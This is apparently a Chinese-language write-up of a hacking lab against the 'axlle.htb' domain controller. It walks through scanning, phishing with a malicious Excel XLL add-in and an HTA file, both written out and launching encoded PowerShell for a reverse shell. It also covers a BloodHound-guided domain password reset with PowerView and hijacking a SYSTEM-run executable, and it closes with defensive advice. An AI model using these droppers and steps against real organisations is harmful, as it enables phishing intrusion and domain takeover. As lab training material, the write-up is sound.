域内邮件钓鱼到系统权限提升的渗透实践
🚀 靶场概述
难度:Hard
描述:通过邮件钓鱼突破边界,最终实现域内渗透的靶场练习
📋 基本信息
| 🚀 | 本地机器信息 | 目标机器信息 |
|---|---|---|
| IP | 10.10.16.27 | 10.10.11.21 |
| OS | Kali | Windows |
🔍 信息搜集
1. 🛠️ 端口扫描
首先使用 naabu 进行快速端口扫描:
❯ naabu --host 10.10.11.21 > ports.txt
[INF] Found 8 ports on host 10.10.11.21 (10.10.11.21)
# 整理开放端口列表
❯ cut -d ":" -f2 ports.txt | paste -sd,
80,53,135,139,389,445,88,25
接着使用 nmap 进行详细的版本探测:
❯ nmap -sCV -p 80,53,135,139,389,445,88,25 10.10.11.21 -T4
PORT STATE SERVICE VERSION
25/tcp open smtp hMailServer smtpd
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: axlle.htb0.)
445/tcp open microsoft-ds Windows Server SMB
2. 🔎 服务枚举
SMTP 服务 (25/TCP)
- 运行
hMailServer smtpd - 支持的命令:
AUTH LOGIN: 支持认证登录VRFY: 可能用于用户枚举SIZE 20480000: 最大邮件大小限制
DNS 服务 (53/TCP)
- 运行
Simple DNS Plus - 域名:
axlle.htb0
Web 服务 (80/TCP)
- Microsoft IIS 10.0
- 需进行详细的 Web 应用测试
域控服务
- Kerberos (88/TCP)
- LDAP (389/TCP): Active Directory LDAP
- NetBIOS (139/TCP)
- SMB (445/TCP)
- 消息签名已启用且必需
- Windows Server SMB 服务
RPC 服务 (135/TCP)
- Microsoft Windows RPC
🧠 渗透思路
攻击面分析
-
邮件系统
- hMailServer 可能存在配置问题
- 可尝试邮件钓鱼攻击
-
域环境
- 完整的 AD 域环境
- 可能存在域用户枚举机会
- Kerberos 认证可能存在配置问题
-
Web 应用
- IIS 10.0 可能存在漏洞
- 需进行详细的 Web 应用测试
🌐 初始访问
1. Web 应用信息收集
从网站上发现重要信息:
如果您有任何未付的发票或请求,请以Excel格式将其通过电子邮件发送至 accounts@axlle.htb。请注意,由于安全状况,所有宏都被禁用。
2. XLL 文件攻击
由于目标禁用了宏,我们可以使用 XLL (Excel Add-In) 进行攻击。XLL 是专为 Excel 设计的动态链接库,可以扩展 Excel 功能。
- 创建恶意 XLL 文件:
#include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
WinExec("powershell -e <base64_encoded_payload>", 1);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
- 编译 XLL 文件:
x86_64-w64-mingw32-gcc -fPIC -shared -o shell.xll exp.c -luser32
- 发送钓鱼邮件:
swaks --to accounts@axlle.htb \
--from root@test.htb \
--body "Shell" \
--header "Subject: Help me Breach the System" \
--attach @shell.xll

3. HTA 文件攻击
我们可以使用 HTA 文件攻击来获取 shell。HTA 文件是 HTML 应用程序,可以包含恶意代码。
- 创建恶意 HTA 文件:
<html>
<head>
<HTA:APPLICATION ID="shell">
<script language="javascript">
var c = "powershell -e <base64_encoded_payload>";
new ActiveXObject('WScript.Shell').Run(c, 0, true);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
- 发送 HTA 文件:
impacket-smbserver -smb2support share .

成功获取反弹 shell:

🔨 权限提升
1. 域内信息收集
使用 BloodHound 进行域内信息收集:

- 上传 BloodHound:
impacket-smbserver share $(pwd) -smb2support
- 在目标机器上执行:
.\bloodhound.exe -c all



2. 权限提升路径分析
通过 BloodHound 分析发现:
- 组
WEB DEVS@AXLLE.HTB的成员可以修改用户JACOB.GREENY@AXLLE.HTB的密码 - 不需要知道该用户的当前密码
3. 利用 PowerView 修改密码
- 上传 PowerView:
copy \\10.10.16.27\share\PowerView.ps1 .
- 修改用户密码:
Set-DomainUserPassword -Identity 'JACOB.GREENY' -AccountPassword (ConvertTo-SecureString -AsPlainText 'NewPassword123!' -Force)

- 使用新密码通过 WinRM 连接:

4. 系统权限提升
- 发现自动化程序:
在 App Development 文件夹中发现 README.md 文件:

README.md 文件显示 standalonerunner.exe 文件正在作为自动化的 SYSTEM 运行:
![]()
-
检查文件权限:

-
替换恶意程序: 创建反弹 shell 的可执行文件并替换原文件

-
等待自动化运行,获取 SYSTEM 权限:

📚 知识点回顾
1. 信息收集技巧
- 端口扫描
- 使用
naabu快速扫描 - 使用
nmap进行详细版本探测
- 使用
- 服务枚举
- SMTP 服务配置分析
- Active Directory 域环境识别
- Web 服务版本识别
2. 攻击技术
- 邮件钓鱼
- XLL 文件攻击绕过宏限制
- HTA 文件执行技巧
- 域内渗透
- BloodHound 域内信息收集
- PowerView 密码修改
- 自动化任务劫持
3. 权限提升技巧
- 横向移动
- 利用域用户权限
- WinRM 远程连接
- 纵向提升
- 文件权限分析
- 系统服务替换
- 自动化任务利用
🎯 总结
攻击链回顾
- 通过邮件系统投递 XLL 文件获取初始访问
- 利用 HTA 文件获取更稳定的 shell
- 使用 BloodHound 发现域内提权路径
- 通过 PowerView 修改域用户密码
- 利用自动化任务获取系统权限
防御建议
- 邮件安全
- 严格限制附件类型
- 实施邮件安全网关
- 域环境加固
- 严格控制域用户权限
- 定期审计域内权限
- 系统加固
- 限制自动化任务权限
- 加强文件系统权限控制
工具总结
- 信息收集:naabu、nmap
- 域内渗透:BloodHound、PowerView
- 权限提升:WinPEAS
- 远程连接:Evil-WinRM